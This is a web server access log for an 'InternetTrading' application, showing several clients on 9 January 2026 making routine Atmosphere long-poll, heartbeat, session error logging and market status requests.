[09/Jan/2026:12:03:23 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931672328 HTTP/1.1" -
[09/Jan/2026:12:03:23 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931672327 HTTP/1.1" -
[09/Jan/2026:12:03:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931673422 HTTP/1.1" -
[09/Jan/2026:12:03:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:03:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:03:26 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931675336 HTTP/1.1" -
[09/Jan/2026:12:03:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931675677 HTTP/1.1" -
[09/Jan/2026:12:03:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:03:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:03:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:03:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:03:28 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931675957 HTTP/1.1" -
[09/Jan/2026:12:03:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931678446 HTTP/1.1" -
[09/Jan/2026:12:03:29 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931678333 HTTP/1.1" -
[09/Jan/2026:12:03:29 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931678333 HTTP/1.1" -
[09/Jan/2026:12:03:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931680891 HTTP/1.1" -
[09/Jan/2026:12:03:32 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931681336 HTTP/1.1" -
[09/Jan/2026:12:03:33 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931681011 HTTP/1.1" -
[09/Jan/2026:12:03:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931683491 HTTP/1.1" -
[09/Jan/2026:12:03:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931684335 HTTP/1.1" -
[09/Jan/2026:12:03:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931684336 HTTP/1.1" -
[09/Jan/2026:12:03:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931685999 HTTP/1.1" -
[09/Jan/2026:12:03:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931687337 HTTP/1.1" -
[09/Jan/2026:12:03:38 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931686122 HTTP/1.1" -
[09/Jan/2026:12:03:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931688540 HTTP/1.1" -
[09/Jan/2026:12:03:41 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931690329 HTTP/1.1" -
[09/Jan/2026:12:03:41 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931690328 HTTP/1.1" -
[09/Jan/2026:12:03:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931691081 HTTP/1.1" -
[09/Jan/2026:12:03:43 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931691179 HTTP/1.1" -
[09/Jan/2026:12:03:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931693587 HTTP/1.1" -
[09/Jan/2026:12:03:44 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931693325 HTTP/1.1" -
[09/Jan/2026:12:03:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931696248 HTTP/1.1" -
[09/Jan/2026:12:03:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931696325 HTTP/1.1" -
[09/Jan/2026:12:03:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931696326 HTTP/1.1" -
[09/Jan/2026:12:03:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:03:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:03:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:03:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:03:48 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931696246 HTTP/1.1" -
[09/Jan/2026:12:03:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931698622 HTTP/1.1" -
[09/Jan/2026:12:03:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931699332 HTTP/1.1" -
[09/Jan/2026:12:03:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931701387 HTTP/1.1" -
[09/Jan/2026:12:03:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:03:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:03:53 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931702328 HTTP/1.1" -
[09/Jan/2026:12:03:53 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931702328 HTTP/1.1" -
[09/Jan/2026:12:03:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931701331 HTTP/1.1" -
[09/Jan/2026:12:03:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931703655 HTTP/1.1" -
[09/Jan/2026:12:03:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:03:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:03:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931705330 HTTP/1.1" -
[09/Jan/2026:12:03:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:03:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:03:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:03:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:03:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931706684 HTTP/1.1" -
[09/Jan/2026:12:03:58 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931706368 HTTP/1.1" -
[09/Jan/2026:12:03:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931708683 HTTP/1.1" -
[09/Jan/2026:12:03:59 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931708331 HTTP/1.1" -
[09/Jan/2026:12:03:59 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931708331 HTTP/1.1" -
[09/Jan/2026:12:04:02 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931711335 HTTP/1.1" -
[09/Jan/2026:12:04:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931711743 HTTP/1.1" -
[09/Jan/2026:12:04:03 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931711403 HTTP/1.1" -
[09/Jan/2026:12:04:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931713726 HTTP/1.1" -
[09/Jan/2026:12:04:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931714330 HTTP/1.1" -
[09/Jan/2026:12:04:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931714330 HTTP/1.1" -
[09/Jan/2026:12:04:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931716818 HTTP/1.1" -
[09/Jan/2026:12:04:08 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931717332 HTTP/1.1" -
[09/Jan/2026:12:04:09 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931716469 HTTP/1.1" -
[09/Jan/2026:12:04:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931718775 HTTP/1.1" -
[09/Jan/2026:12:04:11 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931720325 HTTP/1.1" -
[09/Jan/2026:12:04:11 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931720325 HTTP/1.1" -
[09/Jan/2026:12:04:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931722013 HTTP/1.1" -
[09/Jan/2026:12:04:14 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931721547 HTTP/1.1" -
[09/Jan/2026:12:04:14 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931723327 HTTP/1.1" -
[09/Jan/2026:12:04:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931723817 HTTP/1.1" -
[09/Jan/2026:12:04:17 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931726331 HTTP/1.1" -
[09/Jan/2026:12:04:17 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931726331 HTTP/1.1" -
[09/Jan/2026:12:04:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:04:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:04:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:04:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:04:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931727224 HTTP/1.1" -
[09/Jan/2026:12:04:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931726609 HTTP/1.1" -
[09/Jan/2026:12:04:19 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931727738 HTTP/1.1" -
